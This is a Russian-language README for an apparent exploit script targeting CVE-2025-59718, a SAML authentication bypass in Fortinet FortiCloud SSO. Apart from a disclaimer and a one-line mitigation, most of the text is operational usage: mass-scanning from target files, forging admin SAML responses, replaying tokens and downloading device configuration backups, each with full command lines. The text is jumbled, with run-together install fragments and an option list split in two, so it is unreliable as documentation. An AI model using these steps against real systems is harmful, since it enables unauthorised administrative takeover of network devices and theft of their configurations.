
Fortinet объявила о двух тесно связанных уязвимостях обхода аутентификации 9 декабря 2025 года. Обе ошибки связаны с некорректной проверкой криптографических подписей (CWE‑347) при обработке ответов SAML в функции входа FortiCloud SSO.
Этот инструмент — proof-of-concept (PoC) скрипт эксплойта для CVE-2025-59718, критической уязвимости обхода аутентификации в продуктах Fortinet (например, FortiOS, FortiProxy, FortiSwitchManager), вызванной некорректной проверкой криптографических подписей в SAML-сообщениях для FortiCloud SSO. Уязвимость позволяет неаутентифицированным удалённым злоумышленникам обойти аутентификацию и получить административный доступ путём создания и отправки неподписанного SAML-ответа.
Важное примечание: Этот скрипт предназначен только для образовательных целей, исследований и авторизованного тестирования. Несанкционированное использование против систем без явного разрешения незаконно и неэтично. Всегда соблюдайте применимые законы и получайте надлежащее разрешение перед тестированием.
Скрипт поддерживает сканирование одной или нескольких целей, опциональное использование прокси, симуляцию повтора SAML-токена и перехвата сессий, а также действия после аутентификации, например загрузку файлов конфигурации. Для эффективности используется многопоточность, а результаты записываются в файлы для дальнейшего анализа.
config system global
set admin-forticloud-sso-login disable
end
pip:
pip install requests argparse
exploit.py).pip install -r requirements.txt
requirements.txt с содержимым: requests и argparse.)chmod +x exploit.py
Запустите скрипт через Python:
python exploit.py [options]
--target <IP/hostname>: Одиночная цель для сканирования (например, 192.168.1.1 или example.com).--targets <comma-separated list>: Несколько целей (например, 192.168.1.1,example.com).--file <path>: Файл с одной целью в строке.--username <name>: Имя пользователя для подстановки в SAML-полезную нагрузку (по умолчанию: admin).--endpoint <path>: Конечная точка входа SAML (по умолчанию: /remote/saml/login).--max-threads <int>: Максимальное количество параллельных потоков (по умолчанию: 10; рекомендуемый максимум: 50).--saml-token <token>: SAML-токен в кодировке Base64 для повтора/перехвата (необязательно).Примечание: Если параметры целей не указаны, скрипт завершится с ошибкой.
Сканирование одиночной цели:
python exploit.py --target 192.168.1.1 --username admin --proxy http://127.0.0.1:8080
Сканирует одно устройство, выдавая себя за admin, через локальный прокси.
Массовое сканирование из списка:
python exploit.py --targets 192.168.1.1,example.com --max-threads 20 --post-auth-config
Сканирует несколько целей параллельно, включает загрузку конфигурации при успехе.
Сканирование из файла с повтором токена:
python exploit.py --file targets.txt --saml-token <base64_token> --endpoint /custom/saml
Обрабатывает цели из targets.txt, выполняет попытку повтора/перехвата токена.
Полное неинтерактивное сканирование:
python exploit.py --file targets.txt --username superadmin --max-threads 15 --post-auth-config --output-file results.csv
Пользовательское имя пользователя, большое количество потоков, загрузка конфигурации, пользовательский вывод.
/api/v2/monitor/system/config/backup.Пример строки CSV:
Target,Username,Attack Type,Result,Status Code
https://192.168.1.1,admin,Config Download,Success,200
--proxy для отладки.requests и argparse установлены.--max-threads, если достигнуты ограничения ресурсов.Это PoC; приветствуется вклад в виде улучшений (например, более качественное обнаружение, дополнительные функции) через pull request. Сосредоточьтесь на безопасности и этике.
Последнее обновление: 22 декабря 2025 года
--proxy <url>: URL прокси (например, http://127.0.0.1:8080).--post-auth-config: Включить загрузку конфигурации после аутентификации (флаг; по умолчанию отключён).--vulnerable-file <path>: Файл для сохранения уязвимых целей (по умолчанию: vulnerable_targets.txt).--output-file <path>: CSV-файл для отчётов об атаках (по умолчанию: attack_report.csv).